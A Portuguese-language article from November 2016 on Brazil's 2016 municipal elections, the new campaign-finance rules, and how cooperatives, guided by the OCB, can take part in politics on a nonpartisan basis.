Cooperativismo e política: a importância da gestão política e da vivência cooperativista

Publicado em: 18 novembro - 2016

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No ano de 2016, o que não está faltando são movimentações políticas e novidades na política. Daqui a alguns dias, 144.088.912 eleitores (sendo 1,61 entre 16 e 18 anos) em 5.568 municípios estarão elegendo prefeitos e vereadores. Entre os candidatos são 458.197 concorrentes ao cargo de vereador, 16.470, a vice-prefeito e 16.334 a prefeito, a maioria homens (60% contra 31% de mulheres) divididos em 35 partidos políticos deferidos entre 1981 (os mais antigos) e setembro de 2015 (os mais novos).

As novidades também se destacam nesta eleição. Além de novas normas advindas na minirreforma realizada pelo Tribunal Superior Eleitoral e definidas pela Lei número 13.165/2015, sancionada em setembro, o período da campanha eleitoral foi reduzido para 45 dias, quando o usual era de 90 dias; e o período de propaganda no rádio e na TV foi reduzido de 45 para 35 dias.

As novas normas dizem decorrem do julgamento da Ação Direta de Inconstitucionalidade 4.650-DF pelo Supremo Tribunal Federal também trouxe modificação profunda nas regras eleitorais com relação a doações eleitorais.

Participação

Observando as alterações no processo e na legislação eleitoral, fica patente o fato de que a campanha das Eleições 2016 será mais curta e terá muito menos dinheiro. Para Bolívar Lamounier, cientista político e sócio-diretor da Augurium Consultoria, mesmo com a proibição da contribuição financeira para as campanhas, “as empresas precisarão entender que o mais importante é participar com conteúdos, transmitindo sua experiência e conhecimentos, e debatendo as prioridades do País. Como ninguém ignora, o Brasil vive uma crise profunda, política e econômica, agravada pelos episódios de corrupção. Sair dela não vai ser fácil. Todos os setores precisarão contribuir para a criação de um clima político mais convergente e realista”.

As cooperativas são por ele inseridas nesse contexto, pois – garante – “têm a mesma responsabilidade em relação ao País que indiquei como missão das empresas em geral. Devem contribuir com conteúdo, ajudando o País a sair da radicalização e de uma visão infantil dos problemas que predominaram durante os governos Lula e Dilma. Temos de retomar o crescimento em bases sustentáveis, com uma política fiscal séria, deixar para trás esse longo período de feitiçaria econômica que arrastou o País para uma crise gravíssima e milhões de famílias para a rua da amargura”.

Essa posição é corroborada pelo deputado estadual Antônio Carlos Arantes, presidente da Frente Parlamentar do Cooperativismo de Minas Gerais – Frencoop-MG, quando afirma que “no momento de transição política que o País atravessa, as cooperativas têm um papel importante no segmento econômico organizado, além disso, são formadoras de opinião. Elas devem, por meio de seus órgãos de representação e participação política, ajudar no aprimoramento e aperfeiçoamento do modelo político brasileiro que necessita de vários ajustes. É preciso contribuir com sugestões e propostas que culminem na tão sonhada e necessária Reforma Política. A minha expectativa é que chegue um momento em que as cooperativas não esperem acontecer para depois reagirem. Precisamos que elas se antecipem aos fatos, interfiram neles de forma proativa com a finalidade de promover mudanças de forma organizada e sistemática”.

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Bolívar Lamounier – Cientista Político e Sócio Diretor da Augurium Consultoria

 

O presidente da OCB, Márcio Lopes de Freitas, também comunga dessa posição. Para o impedimento de doação de Pessoas Jurídicas, propõe como caminho a potencialização de outras frentes nas quais as sociedades cooperativas podem e devem atuar durante o processo eleitoral. Sugere, assim, “os debates entre candidatos, com a participação direta dos cooperados. É, com certeza, uma oportunidade de reforçar demandas importantes para o movimento, além de frisar particularidades que são características do modelo de negócio cooperativo. E o apoio aos candidatos vem a partir desses momentos de debate e de uma pesquisa sobre trajetória política, conhecimento e familiaridade com o tema cooperativismo, pontos que certamente irão influenciar em uma atuação futura, como político, como parlamentar”.

Contas de campanha

Dificuldades econômicas da população podem ser mais um gargalo que se soma à tradicional a falta de costume dos brasileiros de contribuir para campanhas político-partidárias. As causas, para Lamounier, são decorrentes de um grande problema, que é “a distribuição da renda. Podemos afirmar sem temor a erro que 80% dos eleitores, no mínimo, não têm condições de contribuir. Com a política desacreditada como tem estado há vários anos, pior ainda. Temos, portanto, um problemaço pela frente. A democracia requer eleições, e eleições requerem dinheiro. Com as doações empresariais proibidas, o potencial de financiamento diminui drasticamente. Teremos que observar bem a experiência das eleições municipais deste ano e procurar uma solução adequada para o problema”.

A esse quadro, o cientista político – que é Ph.D na UCLA (University of California) de Los Angeles, nos Estados Unidos – une um outro complicador: os escândalos apurados e em apuração. “A atuação enérgica da Justiça ajuda. Temos de transformar esse limão em limonada, e para isso o volume dos escândalos revelados paradoxalmente ajuda. Um mundo de corrupção que a maioria da sociedade desconhecia subitamente veio à tona. Uma faxina enérgica contribuirá para recolocar a política num patamar mais alto de legitimidade”, comenta, recomendando atenção à Justiça devido à limitação dos gastos com a campanha: “A Justiça terá de ficar atenta, porque certamente muitos candidatos tentarão driblar as restrições. Os tetos fixados pela nova legislação ficaram restritivos demais, e isso pode acabar incentivando o caixa 2, em vez de coibi-lo. O ministro Gilmar Mendes tem alertado o País quanto a esse ponto, acho que ele tem razão”.

Cartilha

Como faz há algumas eleições, o Sistema OCB editou uma cartilha orientando as cooperativas sobre o atual período eleitoral, onde estão inseridas, inclusive, as alterações impostas pelo TSE. O objetivo, explica Fabíola Nader, gerente de Relações Institucionais da OCB, “é demonstrar a importância de se organizar para participar e sugerir formar de participação com transparência e dentro da legalidade. Sua argumentação está fundamentada nos números do cooperativismo: “O movimento representa 13 milhões de brasileiros e 6.600 cooperativas. Precisamos que o Governo perceba como modelo diferenciado e entenda as necessidades, os diferenciais e as especificidades. É fundamental demonstrarmos o que precisamos para continuarmos crescendo, gerando trabalho e renda”, afirma, lembrando que a cartilha é distribuída gratuitamente a todas as cooperativas e está disponível no site da organização para download gratuito.

A receita apresentada pela gerente de RI do Sistema OCB passa pela compreensão do cooperado da cooperativa como uma esfera política e representativa, que precisa participar ativamente da política, não ser apática, mas manter a “neutralidade política, que significa não escolher partido, ou seja, ser suprapartidária”.

Nesse passo a passo descrito por Fabíola Nader, está inserida a elaboração de um documento com reivindicações e informações sobre a cooperativa no cenário, a ser tornado público e exponha as dificuldades, de modo a conscientizar os candidatos dos pleitos que a cooperativa tem. É possível, também, convidar o candidato para um debate com os cooperados, na própria cooperativa.

Esse trabalho também compreende a busca de cooperados com anseios políticos, pois “é mais fácil atuar nos âmbitos municipais, estaduais e nacional junto aos políticos que conhecem ou tem alguma aproximação com o cooperativismo desde a base. Uma pessoa com os princípios cooperativistas incorporados – que têm a liderança e a ética implícitas – pode mudar a realidade com sua participação e ajudar muito na evolução da sociedade. Até pela vivência da gestão democrática que leva consigo”, frisa a executiva, lembrando que nesse cenário coexistem duas formas de participação: uma da pessoa física do cooperado, que pode contribuir individualmente para o partido e/ou candidato de seu interesse. E a outra, é a escolha institucional da cooperativa de participar das eleições nas formas descritas anteriormente.

Essas posturas estão coerentes com os preceitos da Constituição Brasileira de 1988, que lista votar e se votado como uma das relações de poder garantidas para o cidadão. Segundo Fernanda Holanda de Vasconcelos Brandão – doutora e mestre em Ciências Jurídicas pela UFPB (Universidade Federal da Paraíba) – essa carta “elenca a cidadania como o segundo fundamento do Estado brasileiro. Muitos doutrinadores encontram dificuldades para definir o que seja a cidadania: alguns a relacionam com a perda ou aquisição da nacionalidade, enquanto outros a identificam com os direitos políticos de votar e ser votado”.

 

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